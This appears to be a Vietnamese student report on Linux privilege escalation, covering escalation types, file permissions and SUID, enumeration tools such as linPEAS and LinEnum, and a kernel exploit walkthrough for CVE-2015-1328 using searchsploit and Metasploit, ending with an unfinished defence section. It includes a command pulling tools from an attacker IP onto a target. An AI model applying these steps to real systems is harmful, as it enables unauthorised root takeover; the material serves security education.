Trình bày khái quát về leo thang đặc quyền nói chung và leo thang trên Linux nói riêng, những kỹ thuật leo thang phổ biến trong Linux. Một số công cụ hỗ trợ cho quá trình đó và đề xuất biện pháp phòng thủ.
TỔNG QUAN KỸ THUẬT LEO THANG ĐẶC QUYỀN VÀ
Giới thiệu về leo thang đặc quyền
Leo thang là quá trình kẻ tấn công khai thác lỗ hổng hoặc cấu hình sai trong hệ thống sau khi đã đạt được quyền truy cập, nhằm nâng cao quyền hạn từ người dùng có quyền thấp lên quyền quản trị hoặc quyền root Khi thành công, kẻ tấn công có thể kiểm soát nhiều hệ thống trong một miền, thực hiện các thay đổi quản trị, lấy dữ liệu bí mật, hoặc gây hại cho hệ điều hành với nhiều mục đích khác nhau.
Tăng quyền là bước tiếp theo quan trọng sau khi khai thác thành công một hệ thống, thường được thực hiện bằng cách vượt qua hoặc khai thác các hệ thống xác thực và ủy quyền Phương pháp phổ biến là sử dụng quyền truy cập ban đầu để tiếp cận tài nguyên và chức năng vượt quá quyền hạn của tài khoản người dùng hiện tại, thường được gọi là đạt quyền root Để nâng cao đặc quyền, cần hiểu cách mà hệ điều hành thiết kế tài khoản người dùng và đặc quyền, với phân quyền được thiết lập để quản lý nhiều người dùng với vai trò khác nhau Hệ thống vòng bảo vệ quy định, giới hạn và thực thi chức năng của người dùng cùng với quyền truy cập vào tài nguyên trên hệ thống.
Vòng bảo vệ là cơ chế bảo vệ và phân tách theo cấp bậc, cung cấp các mức truy cập khác nhau cho chức năng và tài nguyên trong hệ thống Thông thường, vòng bảo vệ được triển khai dưới dạng các vòng (ring) từ 0 đến n, với n là giá trị tối đa mà hệ thống hỗ trợ Mỗi vòng tương ứng với một mức độ quyền hạn, trong đó vòng 0 có quyền đặc quyền cao nhất, còn vòng n có quyền đặc quyền thấp nhất.
Sự phân chia này giữa các đặc quyền trên hệ thống dẫn đến sự thực hiện hai vai trò chính như sau:
Quyền truy cập đặc quyền:
Tài khoản root hoặc quản trị viên thường được gán quyền truy cập hoàn toàn vào tất cả lệnh và tài nguyên của hệ thống, cho phép thực hiện các chức năng quản lý quan trọng.
- Có khả năng cài đặt (install), gỡ cài đặt (uninstall) và sửa đổi (modify) phần mềm hệ thống hoặc tệp binary.
- Có khả năng thêm (add), sửa đổi (modify) hoặc gỡ bỏ (remove) người dùng và nhóm người dùng.
- Có khả năng tạo (create), truy cập (access), sửa đổi (modify) và xóa (delete) bất kỳ dữ liệu hệ thống hoặc người dùng nào.
- Có khả năng truy cập chức năng mạng và tiện ích mạng, kiểm soát tất cả phần cứng hệ thống.
- Có khả năng tạo, quản lý và kết thúc các tiến trình hệ thống và người dùng.
Quyền truy cập không đặc quyền
Tài khoản không phải là root thường được đại diện cho người dùng thông thường và bị giới hạn trong một tập hợp đặc quyền cụ thể, nhằm điều chỉnh quyền truy cập cho người dùng trên hệ thống Các tài khoản này thường có các chức năng thiết yếu để đảm bảo an toàn và hiệu quả trong việc sử dụng hệ thống.
- Có khả năng khởi động (start) và dừng (stop) các tiến trình và chương trình của người dùng.
- Có khả năng tạo (create), sửa đổi (modify) và xóa (delete) dữ liệu của người dùng.
- Có khả năng truy cập (access) các chức năng mạng.
Sự phân chia quyền kiểm soát trong hệ thống là yếu tố quan trọng trong quá trình leo thang đặc quyền của người kiểm tra thâm nhập hoặc kẻ tấn công, giúp họ đạt được quyền truy cập "root" hoặc quyền quản trị Có hai phương pháp chính để thực hiện leo thang đặc quyền, tùy thuộc vào mục đích và mục tiêu của kẻ tấn công, liên quan đến tài khoản người dùng và quyền hạn.
- Leo thang đặc quyền theo chiều ngang (Horizontal Privilege Escalation)
- Leo thang đặc quyền theo chiều dọc (Vertical Privilege Escalation)
Phân loại leo thang đặc quyền
1.2.1 Leo thang đặc quyền theo chiều ngang
Leo thang đặc quyền theo chiều ngang (Horizontal Privilege Escalation) là hành vi mà kẻ tấn công tìm cách mở rộng quyền hạn bằng cách chiếm đoạt quyền truy cập của người dùng có quyền hạn tương đương Quá trình này không liên quan đến việc truy cập vào tài khoản quản trị hoặc quyền root, mà chủ yếu tập trung vào việc khai thác các chức năng hệ thống thông qua tài khoản có cùng cấp độ quyền hạn.
Kẻ tấn công thường áp dụng phương pháp leo thang theo chiều ngang để truy cập dữ liệu từ các tài khoản người dùng không có đặc quyền Mục tiêu của họ là thu thập thông tin chứng thực hoặc mật khẩu băm, nhằm giả mạo tài khoản người dùng, truy cập các tài khoản trực tuyến và thực hiện các hành động sai trái khác.
Trong hình 1.2, cấu hình tài khoản điển hình trên máy tính được minh họa với hai tài khoản người dùng không có quyền đặc quyền là John và Mike, cùng với một tài khoản người dùng có quyền đặc quyền admin là Collin.
Hình 1 2 Ví dụ về leo thang đặc quyền theo chiều ngang
John đang thực hiện một cuộc tấn công leo thang đặc quyền theo chiều ngang bằng cách nâng cao quyền hạn tài khoản của mình lên quyền hạn của Mike Cả hai tài khoản này đều có cùng cấp độ quyền hạn Mục tiêu chính của việc leo thang đặc quyền theo chiều ngang là để nâng cao quyền hạn lên các tài khoản người dùng có cùng mức độ đặc quyền với tài khoản thực hiện cuộc tấn công.
1.2.2 Leo thang đặc quyền theo chiều dọc
Leo thang đặc quyền theo chiều dọc là quá trình mà kẻ tấn công lợi dụng các lỗ hổng trong hệ điều hành để đạt được quyền truy cập cao nhất, như quyền root hoặc quản trị Phương pháp này mang lại cho họ khả năng kiểm soát toàn bộ hệ thống.
Hình 1.3 minh họa các cấp độ quyền và đặc quyền của tài khoản người dùng, với tài khoản cao nhất có quyền lực lớn nhất và ít bị truy cập, thường dành cho quản trị viên hệ thống Ngược lại, các tài khoản thấp hơn phục vụ cho người dùng thông thường và các dịch vụ không yêu cầu quyền quản trị Bài viết này sẽ trình bày cách tiếp cận theo chiều dọc để nâng cao quyền hạn dựa trên tài khoản người dùng và quyền truy cập, áp dụng cho cả hệ thống Windows và Linux, với mục tiêu đạt được quyền truy cập hoàn toàn vào hệ thống thông qua việc di chuyển lên tài khoản có quyền hạn cao nhất.
Hình 1 3 Cấp độ quyền và đặc quyền của các tài khoản người dùng
Hình 1.4 minh họa một cấu hình tài khoản điển hình trên máy tính, bao gồm hai tài khoản người dùng không có quyền đặc quyền là John và Mike, cùng với một tài khoản người dùng có quyền đặc quyền là Collin.
Hình 1.4 minh họa một ví dụ về leo thang đặc quyền theo chiều dọc, trong đó người dùng John cố gắng nâng cao quyền hạn lên tài khoản quản trị viên của Collin Nếu thành công, John sẽ đạt được quyền quản trị, cho phép anh ta truy cập vào tất cả tài khoản người dùng và tệp tin, từ đó kiểm soát toàn bộ hệ thống.
Một số vector tấn công leo thang đặc quyền
Tài khoản người dùng tiêu chuẩn thường không có quyền truy cập vào cơ sở dữ liệu, tệp nhạy cảm hay thông tin giá trị khác Do đó, để một tác nhân đe dọa có thể điều hướng môi trường và giành quyền quản trị viên hoặc quyền root, họ thường sử dụng năm kỹ thuật chính sau đây.
1.3.1 Khai thác thông tin xác thực
Khai thác thông tin xác thực (Credential Exploitation) là phương pháp tấn công leo thang đặc quyền, trong đó tin tặc sử dụng thông tin xác thực hợp lệ như tên người dùng và mật khẩu để truy cập vào hệ thống hoặc ứng dụng với quyền hạn cao hơn Phương pháp này rất phổ biến và hiệu quả, vì nó tận dụng thông tin đăng nhập hợp lệ của người dùng để thực hiện các cuộc tấn công.
Một số cách phổ biến để kẻ tấn công có thể có được thông tin đăng nhập vào hệ thống là:
- Tấn công vét cạn mật khẩu (Brute Force Password Attack)
Kẻ tấn công sử dụng công cụ tự động để thử nghiệm nhiều mật khẩu cho một tài khoản cụ thể Tấn công vét cạn mật khẩu thường bao gồm các phương pháp như tấn công từ điển và tấn công sử dụng bảng cầu vồng.
- Tấn công phun mật khẩu (Password Spraying)
Tấn công này giống như các cuộc tấn công brute force, nhưng thay vì thử nghiệm nhiều mật khẩu cho một tài khoản, kẻ tấn công sử dụng cùng một mật khẩu cho nhiều tài khoản khác nhau Phương pháp này giúp kẻ tấn công tránh bị khóa tài khoản sau một số lần đăng nhập sai, như trong các cuộc tấn công brute force.
- Tấn công lừa đảo (Phishing Attacks)
Kẻ tấn công thường sử dụng email hoặc tin nhắn giả mạo, mạo danh các tổ chức uy tín như ngân hàng hoặc dịch vụ trực tuyến, nhằm lừa đảo người dùng cung cấp thông tin xác thực như tên người dùng và mật khẩu Những thông tin này thường được yêu cầu thông qua một trang đăng nhập giả mạo Khi người dùng vô tình cung cấp thông tin, kẻ tấn công sẽ có được thông tin đăng nhập hợp lệ.
Tin tặc có thể thu thập thông tin đăng nhập hợp lệ bằng nhiều phương thức khác nhau, bao gồm việc sử dụng keylogger trên thiết bị người dùng hoặc thực hiện các thao tác thay đổi và đặt lại mật khẩu.
1.3.2 Lỗ hổng đặc quyền và khai thác
Lỗ hổng đặc quyền và khai thác là những điểm yếu trong hệ thống hoặc ứng dụng cho phép kẻ tấn công nâng cao quyền hạn của mình vượt qua mức ban đầu Những lỗ hổng này thường xuất phát từ cấu hình sai lệch, quy trình xử lý lỗi không an toàn, hoặc các vấn đề bảo mật trong mã nguồn.
Khi kẻ tấn công phát hiện lỗ hổng đặc quyền, họ có thể khai thác để tăng cường quyền truy cập Mức độ rủi ro phụ thuộc vào bản chất và mức độ nghiêm trọng của hệ thống có lỗ hổng Chỉ một phần nhỏ lỗ hổng cho phép leo thang đặc quyền theo chiều dọc.
Ví dụ: Lỗ hổng tràn bộ đệm (Buffer Overflow), lỗ hổng chia sẻ tài nguyên (Resource Sharing Vulnarability)
Leo thang đặc quyền thường xảy ra do các lỗi cấu hình, như việc không thiết lập xác thực cho hệ thống nhạy cảm, sai sót trong cấu hình tường lửa, hoặc để cổng mở.
Một số vấn đề cấu hình sai sẽ dẫn đến leo thang đặc quyền như:
- Mặc định và thông tin đăng nhập dễ dàng đối với các tài khoản quản trị viên như admin/admin, guest/guest.
- Quyền hạn sai đối với tệp tin hay thư mục
- Quyền hạn đối với cơ sở dữ liệu không đúng
- Cài đặt và cấu hình dịch vụ không an toàn
Nếu lỗ hổng đủ nghiêm trọng, kẻ tấn công có thể giành được quyền root hoặc quyền quản trị viên mà không tốn nhiều công sức.
Kẻ tấn công có thể sử dụng nhiều loại phần mềm độc hại như viruses, spyware, worms, adware và ransomware để kiểm soát môi trường và leo thang đặc quyền Malware thường được triển khai bằng cách khai thác lỗ hổng, có thể được kết hợp với các ứng dụng hợp pháp hoặc qua các liên kết tải xuống độc hại, thường sử dụng kỹ nghệ xã hội Phần mềm độc hại này chạy như một tiến trình của hệ điều hành và có quyền truy cập tương ứng với tài khoản người dùng mà nó được thực thi.
Kẻ tấn công có thể truy cập vào tài khoản người dùng để triển khai phần mềm độc hại ở cấp độ người dùng, từ đó tìm cách nâng cao quyền hạn của mình.
Các cuộc tấn công đã gia tăng, cho phép triển khai phần mềm độc hại ở cấp quản trị viên hoặc cấp root, từ đó cung cấp quyền truy cập liên tục vào toàn bộ môi trường.
Kỹ nghệ xã hội (Social Engineering) là một phương pháp phổ biến trong các cuộc tấn công mạng, lợi dụng tâm lý con người để lừa đảo và khiến người dùng vi phạm các quy trình bảo mật Kỹ thuật này cho phép kẻ tấn công dễ dàng chiếm quyền truy cập trái phép và leo thang đặc quyền bằng cách thao túng cảm xúc và điểm yếu của nạn nhân Thay vì cố gắng xâm nhập vào hệ thống bảo mật phức tạp, kẻ tấn công thường tìm cách lừa đảo người dùng có quyền truy cập, từ đó phá vỡ các biện pháp kiểm soát an ninh hiệu quả.
Một số các loại tấn công kỹ nghệ xã hội phổ biến và cách chúng được sử dụng để leo thang đặc quyền:
Kẻ tấn công thường gửi tin nhắn giả mạo có vẻ hợp pháp, kèm theo liên kết hoặc tệp đính kèm độc hại Khi nạn nhân nhấp vào liên kết hoặc mở tệp đính kèm, phần mềm độc hại sẽ được triển khai, dẫn đến việc xâm phạm thiết bị của họ Có nhiều hình thức lừa đảo trực tuyến, bao gồm spear phishing và vishing.
Một chương trình phần mềm độc hại lừa nạn nhân tin rằng thiết bị của họ bị nhiễm virus, yêu cầu họ tải xuống phần mềm bổ sung hoặc thực hiện một hành động nào đó Thực tế, những hành động này sẽ dẫn đến việc triển khai phần mềm độc hại trên máy của họ Kỹ thuật này có thể được sử dụng để xâm phạm thiết bị và chiếm đoạt tài khoản của nạn nhân.
Leo thang đặc quyền đối với hệ điều hành Linux
1.4.1 Cấu trúc và quyền hạn của hệ thống tệp tin trong Linux
Hiểu quyền truy cập vào hệ thống tệp trên Linux giúp bạn cung cấp hoặc hạn chế quyền truy cập vào tệp và thư mục, từ đó có cái nhìn rõ ràng hơn về cách chúng được cấu hình và khả năng bị khai thác.
Quyền truy cập hệ thống tệp trên Linux cho phép người dùng quản lý quyền truy cập vào tệp và thư mục một cách hiệu quả Tính năng này rất hữu ích vì nó giúp hạn chế quyền truy cập vào các tệp hoặc thư mục cụ thể, từ đó ngăn chặn truy cập trái phép.
Liệt kê quyền của một tệp hoặc thư mục trên Linux bằng cách chạy lệnh: ls -al
Lệnh này sẽ hiển thị danh sách tất cả các tệp trong một thư mục cùng với các thuộc tính của chúng, bao gồm quyền truy cập và thông tin về sở hữu.
Hình 1 5 Quyền truy cập tệp tin
Linux cung cấp hỗ trợ đa người dùng, quyền truy cập vào tệp và dữ liệu được hạn chế dựa trên các yếu tố chính sau đây:
- File ownership (Sở hữu tệp): người dùng hoặc nhóm cụ thể sở hữu tệp
- Access permissions (Quyền truy cập): quyền cụ thể được sử dụng để cho phép hoặc hạn chế quyền truy cập vào các tệp cụ thể.
Mỗi tệp và thư mục trên Linux đều có chủ sở hữu và quyền truy cập cụ thể, giúp ngăn chặn truy cập không xác thực hoặc trái phép Sở hữu trên Linux được chia thành các danh mục chính.
Dùng để chỉ định người sở hữu của tệp Thông thường, người tạo ra tệp trở thành người sở hữu của tệp
Nhóm sở hữu tệp xác định quyền truy cập cho tất cả các thành viên, giúp họ có quyền đọc, ghi hoặc thực thi tệp theo quy định Chỉ những người trong nhóm mới có khả năng truy cập tệp dựa trên quyền hạn đã được chỉ định.
Quyền truy cập tệp cho phép người dùng khác trên hệ thống thực hiện các hành động như đọc, ghi hoặc thực thi, mà không cần phải là chủ sở hữu hoặc thuộc về nhóm sở hữu tệp đó.
Hình 1 6 Quyền sở hữu tệp tin Linux
Mỗi tệp và thư mục trên Linux đều có quyền truy cập cụ thể, quyết định khả năng đọc, sửa đổi hoặc thực thi Quyền truy cập này được chia thành ba danh mục, dựa trên quyền mà người tạo muốn cung cấp cho người dùng và nhóm trong hệ thống.
- Đọc (Read): Quyền này cho phép người dùng đọc tệp, ký hiệu: r
- Ghi (Write): Quyền này cho phép người dùng sửa đổi hoặc thay đổi tệp, ký hiệu: w
- Thực thi (Execute): Quyền này cho phép người dùng thực thi hoặc chạy tệp, ký hiệu: x
Hình 1 7 Hiển thị quyền truy cập tệp tin của các đối tượng
Quyền truy cập vào tệp có thể được điều chỉnh theo nhu cầu thông qua lệnh chmod Lệnh này cho phép người dùng thay đổi quyền của tệp hoặc thư mục Chỉ có người dùng root hoặc chủ sở hữu tệp/thư mục mới có quyền thực hiện việc thay đổi này.
Quyền có thể đặt với hai chế độ:
Chế độ tương trưng (symbolic mode) cho phép cấp hoặc xóa bỏ quyền truy cập thông qua sự kết hợp của các ký hiệu chữ cái: r, w, x, đại diện cho quyền đọc, ghi và thực thi Trong chế độ này, các ký hiệu toán học được áp dụng để điều chỉnh quyền truy cập.
Bảng 1.1 Các ký hiệu trong quản lý quyền bằng chế độ tượng trưng
+ Biểu thị việc bổ sung quyền đối với tệp hoặc thư mục
- Biểu thị việc loại bỏ quyền đối với tệp hoặc thư mục
Sử dụng lệnh để áp dụng và ghi đè quyền truy cập trước đó trên tệp hoặc thư mục, trong đó "u" đại diện cho chủ sở hữu, "g" biểu thị nhóm người dùng sở hữu, "o" chỉ các người dùng khác, và "a" thể hiện tất cả người dùng.
Ví dụ: Muốn cấp quyền thực thi cho nhóm và cấp quyền ghi cho tất cả người dùng và nhóm đối với file.txt: chmod g+x,a+w file.txt
Chế độ tuyệt đối (absolute mode) cho phép cấp hoặc xóa bỏ quyền thông qua các giá trị số cụ thể Bảng 1.2 mô tả cách biểu diễn quyền và các quyền tương ứng.
Bảng 1.2 Mô tả cách biểu diễn quyền và các quyền tương ứng
Giá trị số Giá trị nhị phân Biểu diễn quyền Mô tả quyền
1 001 x Chỉ có quyền thực thi
3 011 -wx Chỉ có quyền ghi và thực thi
5 101 r-x Chỉ có quyền đọc và thực thi
6 110 rw- Chỉ có quyền đọc và ghi
7 111 rwx Có đủ quyền đọc, ghi, thực thi
Ví dụ: Muốn cấp full quyền cho file.txt ta dùng câu lệnh: chmod 777 file.txt
Ngoài quyền đọc, viết và thực thi, còn tồn tại những quyền đặc biệt ít được biết đến, cung cấp các đặc quyền bổ sung cho các bộ quyền tiêu chuẩn Các quyền này bao gồm SUID, SGID và sticky bit, giúp quản lý quyền truy cập và bảo mật cho hệ thống hiệu quả hơn.
Quyền SUID cho phép thực thi tệp với đặc quyền của chủ sở hữu tệp, đảm bảo rằng bất kỳ ai thực hiện tệp sẽ chạy với quyền hạn của chủ sở hữu Để thiết lập quyền SUID, chúng ta sử dụng lệnh: chmod u+s file_name.
Quyền SGID tương tự như quyền SUID, cho phép GID của người dùng trở thành giống với GID của chủ sở hữu nhóm Điều này có nghĩa là bất kỳ người dùng nào cũng có thể truy cập tệp với các quyền của chủ sở hữu nhóm Để thiết lập quyền SGID, bạn có thể sử dụng lệnh: chmod g+s file_name.
Quyền sticky bit là một thuộc tính đặc biệt dành cho thư mục, cho phép chỉ người sở hữu tệp gốc hoặc thư mục mới có quyền xóa hoặc di chuyển tệp gốc khỏi thư mục đó Những người dùng khác, dù có quyền ghi vào thư mục, cũng không thể xóa hoặc di chuyển tệp gốc trong thư mục.
Công cụ trong quá trình leo thang đặc quyền
1.5.1 linPEAS linPEAS là một tập lệnh liệt kê Linux cục bộ giúp tìm kiếm và quét các lỗ hổng tiềm ẩn, sau đó liệt kê tất cả thông tin hệ thống quan trọng có thể được sử dụng để thực hiện một cuộc tấn công leo thang đặc quyền linPEAS sử dụng một số kỹ thuật khác nhau để kiểm tra các lỗ hổng, chẳng hạn như kiểm tra các tệp cấu hình, kiểm tra các quy trình đang chạy và kiểm tra các lỗ hổng bảo mật trong nhân Linux Sau đó cung cấp một bảng báo cáo chi tiết về các lỗ hổng có tiềm năng khai thác nó đã tìm thấy.
Tải tệp về máy với đường link sau: wget https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
To set up a simple web server for file transfer to a target machine, use the command `sudo python -m SimpleHTTPServer [port]` for Python 2 or `sudo python -m http.server [port]` for Python 3.
Tại máy mục tiêu di chuyển đến thư mục /tmp sau đó tải xuống tệp bằng câu lệnh: wget http://[attack ip]/file_name
Công cụ này cung cấp nhiều thông tin quan trọng, bao gồm thông tin người dùng, thông tin hệ thống, danh sách các chương trình có thể chạy với quyền sudo, cũng như thông tin về các tác vụ được lập lịch.
- Màu đỏ nền vàng được sử dụng để xác định các cấu hình dẫn đến leo thang (chắc chắn 99%).
- Màu đỏ được sử dụng để xác định các cấu hình đáng ngờ, các dấu hiệu có thể dẫn đến leo thang.
Hình 1 11 Khởi chạy công cụ liệt kê tự động linPEAS
1.5.2 lineum linenum là một công cụ được sử dụng để liệt kê tất cả các tệp thực thi trên hệ thống Linux linenum cũng có thể được sử dụng để tìm kiếm các tệp thực thi có chứa các chuỗi cụ thể, các thông tin hệ thống khác Nó là một công cụ đơn giản nhưng hữu ích, có thể được sử dụng để tìm các tệp thực thi có chứa các lỗ hổng.
Tải công cụ tại: wget https://github.com/rebootuser/LinEnum
Để thiết lập đường truyền nhằm lấy file thực thi và khởi chạy như công cụ linPEAS, đầu ra của linenum sẽ được phân chia thành nhiều thành phần khác nhau Các thành phần này bao gồm thông tin về nhân hệ thống mục tiêu (kernel), danh sách các tệp nhạy cảm có thể đọc ghi, các tệp có quyền SUID, nội dung của crontab (các tác vụ được lập lịch chạy định kỳ), và một số thông tin quan trọng khác.
Hình 1 12 Kết quả khởi chạy linenum
Linux Exploit Suggester (LES) là công cụ hữu ích giúp đề xuất các khai thác dựa trên kết quả quét từ nmap Đầu ra của LES thường cung cấp danh sách các khai thác tiềm năng dựa trên thông tin đầu vào mà người dùng cung cấp.
Thông tin thường bao gồm phiên bản kernel của hệ thống và các gói phần mềm liên quan Công cụ sẽ so sánh những thông tin này với cơ sở dữ liệu lỗ hổng đã biết, từ đó đưa ra gợi ý về các khai thác có thể được sử dụng để tận dụng các lỗ hổng đó.
Tải về tại: wget https://github.com/mzet-/linux-exploit-suggester
Thiết lập đường truyền và lấy file về máy mục tiêu, thực hiện khởi chạy tương tự như linPEAS.
Hình 1 13 Tải file thực thi công cụ LES
Mỗi khai thác tiềm năng trong đầu ra sẽ cung cấp các thông tin chi tiết về lỗ hổng, bao gồm:
- Tên exploit, mã lỗi CVE
- Phiên bản kernel bị ảnh hưởng
- Các khai thác có thể sử dụng
Hình 1 14 Hiển thị kết quả chạy công cụ LES
1.5.4 So sánh các công cụ
Các công cụ này được sử dụng để phát hiện các dấu hiệu và lỗ hổng tiềm năng, cũng như các khai thác đã tồn tại trước đó, nhằm hỗ trợ kẻ tấn công trong quá trình nâng cao quyền hạn.
Tùy thuộc vào mục đích sử dụng, người dùng có thể lựa chọn công cụ phù hợp cho quá trình khai thác Bảng 1.3 tóm tắt các ưu nhược điểm của các công cụ này.
Bảng 1 3 So sánh các công cụ liệt kê tự động phổ biến
Công cụ Ưu điểm Nhược điểm linPEAS
Liệt kê được rất nhiều lỗ hổng và các khả năng có thể leo thang đặc quyền
Liệt kê tự động không thể bao gồm mọi lỗ hổng tiềm năng, nhưng nó rất đơn giản và dễ sử dụng Kết quả đầu ra được trình bày một cách rõ ràng và dễ nhìn.
Liệt kê chủ yếu về cấu hình hệ thống và các quyền thực thi, các tệp thực thi
Nhiều lúc, việc xác định tất cả các tệp thực thi tiềm năng trên hệ thống gặp khó khăn do thông tin còn hạn chế Tuy nhiên, công cụ này rất đơn giản và dễ sử dụng cho người mới, đồng thời trình bày kết quả một cách rõ ràng và dễ nhìn.
Liệt kê chủ yếu thông tin về các khai thác đã có trong hệ thống, các mã CVE và đưa ra các khai thác liên quan
Khó sử dụng đối với người dùng mới bắt đầu, không phải lúc nào cũng đề xuất các khai thác có thể dùng cách chính xác
Khó sử dụng cho người mới dùng, kết quả đầu ra khó đọc hơn
Ngoài Linux Smart Enumeration, Linux Priv Checker và unix_privesc_check, còn có nhiều công cụ khác hỗ trợ thu thập thông tin hệ thống trên Linux Những tập lệnh bash này thực hiện các lệnh phổ biến nhằm xác định các lỗ hổng có thể dẫn đến việc leo thang đặc quyền.
Kết luận chương 1
Chương 1 đã trình bày tổng quan về khái niệm leo thang đặc quyền, các dạng leo thang đặc quyền sẽ gặp Nói đến một số vector leo thang đặc quyền nói chung mà kẻ tấn công sử dụng để leo thang đặc quyền của một hệ thống. Đối với hệ thống Linux nói riêng, chương 1 nêu lên quyền hạn trong Linux,một số nguy cơ leo thang đặc quyền mà hệ thống Linux gặp phải Từ đấy đưa ra một quá trình cụ thể hơn để tiến hành khai thác leo thang trên Linux, làm tiền đề để tìm hiểu thêm các kỹ thuật leo thang đặc quyền trong chương 2.
NGHIÊN CỨU CÁC KỸ THUẬT LEO THANG ĐẶC QUYỀN TRÊN LINUX VÀ ĐỀ XUẤT GIẢI PHÁP PHÒNG CHỐNG
Một số kỹ thuật leo thang đặc quyền Linux
2.1.1 Khai thác các phần mềm lỗi thời
Mỗi ngày, hàng loạt lỗ hổng mới xuất hiện, đặc biệt là do hệ thống sử dụng phiên bản lỗi thời hoặc cần bản vá Tuy nhiên, không phải lúc nào các bản vá cũng được cung cấp kịp thời, dẫn đến việc chờ đợi cập nhật trở thành cơ hội cho các cuộc tấn công leo thang đặc quyền Hình 2.1.1 minh họa rõ hơn về các vấn đề có thể khai thác từ phần mềm lỗi thời.
Hình 2 1 Biều đồ mô tả các khả năng leo thang đặc quyền thông qua việc khai thác các phần mềm lỗi thời
2.1.1.1 Kernel Linux a) Giới thiệu về kernel trên Linux
Vào năm 1991, Linus Torvalds đã phát triển nhân Linux dựa trên kernel UNIX, sau đó được sử dụng làm nhân chính cho hệ điều hành GNU Một bản phân phối Linux là hệ điều hành kết hợp nhân Linux với các công cụ và tiện ích khác, nhằm phục vụ cho những nhu cầu cụ thể của người dùng hoặc các ngành công nghiệp nhất định.
Khái niệm kernel đề cập đến các phần mềm và ứng dụng ở mức thấp trong hệ thống, có khả năng điều chỉnh linh hoạt để tương thích với phần cứng Kernel của hệ điều hành Linux hoạt động chủ yếu với hai chế độ, quyết định quyền truy cập vào tài nguyên hệ thống và phần cứng.
Bộ nhớ được chia thành các vùng riêng biệt không đặc quyền, phục vụ cho các chương trình và dịch vụ của người dùng hoạt động bên ngoài nhân hệ điều hành Mặc định, các dịch vụ này tách biệt với nhân, do đó chúng có đặc quyền hạn chế.
Kernel space là một phần của bộ nhớ được phân chia thành các vùng riêng biệt có đặc quyền, phục vụ cho việc chạy nhân hệ điều hành Đặc quyền của kernel space xuất phát từ các quy trình và chức năng quan trọng mà nó cần xử lý.
Các ứng dụng và dịch vụ trong không gian người dùng giao tiếp với không gian kernel thông qua các cuộc gọi hệ thống Sự tương tác này được thực hiện nhờ thư viện GNU C, với giao diện cuộc gọi hệ thống đảm nhiệm việc xử lý các cuộc gọi từ không gian người dùng vào kernel của hệ điều hành.
Hình 2 2 Cấu trúc nhân Linux
Không gian kernel có quyền truy cập đầy đủ vào phần cứng và tài nguyên hệ thống, đồng thời quản lý các dịch vụ và cuộc gọi hệ thống từ không gian người dùng Để khai thác kernel trên Linux, cần hiểu rõ cách thức hoạt động và các lỗ hổng có thể bị lợi dụng trong hệ thống.
Kernel hoạt động trong không gian đặc quyền, do đó, bất kỳ lỗ hổng nào trong kernel có thể cho phép thực thi mã tùy ý đều sẽ chạy với quyền hạn cao Điều này tạo cơ hội cho việc leo thang đặc quyền, từ đó người tấn công có thể truy cập vào shell root.
Để bắt đầu, bạn cần kiểm tra phiên bản hệ điều hành hiện tại Có nhiều phương pháp để xác định phiên bản kernel của hệ thống đang sử dụng.
- Liệt kê theo cách thủ công uname –r, uname -a
Hình 2 3 Liệt kê phiên bản kernel thủ công
- Liệt kê bằng công cụ tự động
Có thể dùng đến những công cụ liệt kê tự động rất hữu ích cho quá trình liệt kê để liệt kê hệ thống mục tiêu như linPEAS
Hình 2 4 Liệt kê phiên bản kernel tự động bằng công cụ linPEAS
Công cụ LES: cho thấy được phiên bản của nhân và mã CVE tương tự nếu có
Hình 2 5 Liệt kê tự động lỗ hổng liên quan đến kernel với LES
Sau khi xác định phiên bản kernel của hệ thống mục tiêu, bước tiếp theo là kiểm tra xem phiên bản đó có lỗi thời và chứa lỗ hổng dễ bị khai thác hay không Việc khai thác kernel thường dựa vào các lỗ hổng đã được biết đến Bằng cách tìm kiếm các khai thác tương ứng với phiên bản kernel đã xác định, bạn có thể biết được khả năng bị khai thác của hệ thống.
Sau khi kiểm tra phiên bản kernel của hệ điều hành, chúng ta nhận thấy máy mục tiêu đang sử dụng phiên bản 3.13.0 Để xác định xem phiên bản này có dễ bị tấn công và khai thác hay không, có thể sử dụng một số công cụ hỗ trợ.
- searchsploit searchsploit Linux kernel [version]
Hình 2 6 Tìm kiếm các khai thác liên quan đến kernel với searchsploit
- Tìm kiếm với google search
Có thể tìm với từ khóa là phiên bản kernel trên bất cứ trình duyệt nào
Kết quả cho thấy kernel 3.13.0-24-generic có lỗ hổng bảo mật nghiêm trọng, ảnh hưởng đến hệ thống tệp overlayFS nâng cao của Ubuntu và các hệ điều hành Linux khác.
Hình 2 7 Tìm kiếm khai thác liên quan đến phiên bản kernel trên google c) Khai thác nhân trên Linux
Khi tìm kiếm thông tin về khai thác, nếu kernel đang sử dụng là phiên bản lỗi thời, khả năng cao sẽ có những khai thác đã tồn tại Ví dụ, kernel này dễ bị tổn thương với khai thác đã được biết đến trước đây, cụ thể là CVE-2015-1328.
Dễ dàng truy cập mã khai thác cho kernel từ kho lưu trữ mã khai thác tại địa chỉ https://www.exploit-db.com/ Chỉ cần biên dịch mã và khởi chạy để thực hiện khai thác.
Ngoài ra cũng có thể khai thác bằng metasploit, tìm kiếm thông tin về lỗ hổng với mã lỗi CVE-2015-1328 sẽ có được một shell khai thác cho nó:
Hình 2 8 Tìm kiếm module khai thác với metasploit
Hình 2 9 Chọn module khai thác
Nếu bạn có thông tin đăng nhập vào hệ thống mục tiêu qua kết nối SSH, bạn có thể tìm kiếm các module khai thác liên quan đến đăng nhập SSH.
Hình 2 10 Tìm module khai thác với mục tiêu có đăng nhập ssh
Thiết lập các yếu tố cần thiết để hoàn thiện payload
Khởi chạy shell khai thác chúng ta có và leo thang đặc quyền lên root
Hình 2 12 Chạy khai tác và giành được shell root
Đề xuất biện pháp phòng chống leo thang đặc quyền Linux
2.2.1 Các phần mềm lỗi thời
Riêng đối với việc các phiên bản nhân Linux có lỗ hổng dễ bị leo thang đặc quyền thì cách để có thể phòng tránh và ngăn chặn là:
Để đảm bảo hiệu suất tối ưu cho hệ thống, bạn nên thường xuyên theo dõi các bản cập nhật mới nhất từ nhà phát hành Việc cập nhật ngay khi có bản vá là rất quan trọng, thay vì chờ đợi hệ thống nhắc nhở bạn thực hiện điều này.
- Sử dụng các chương trình chống vi-rút và phần mềm
- Bật các tính năng bảo mật kernel:
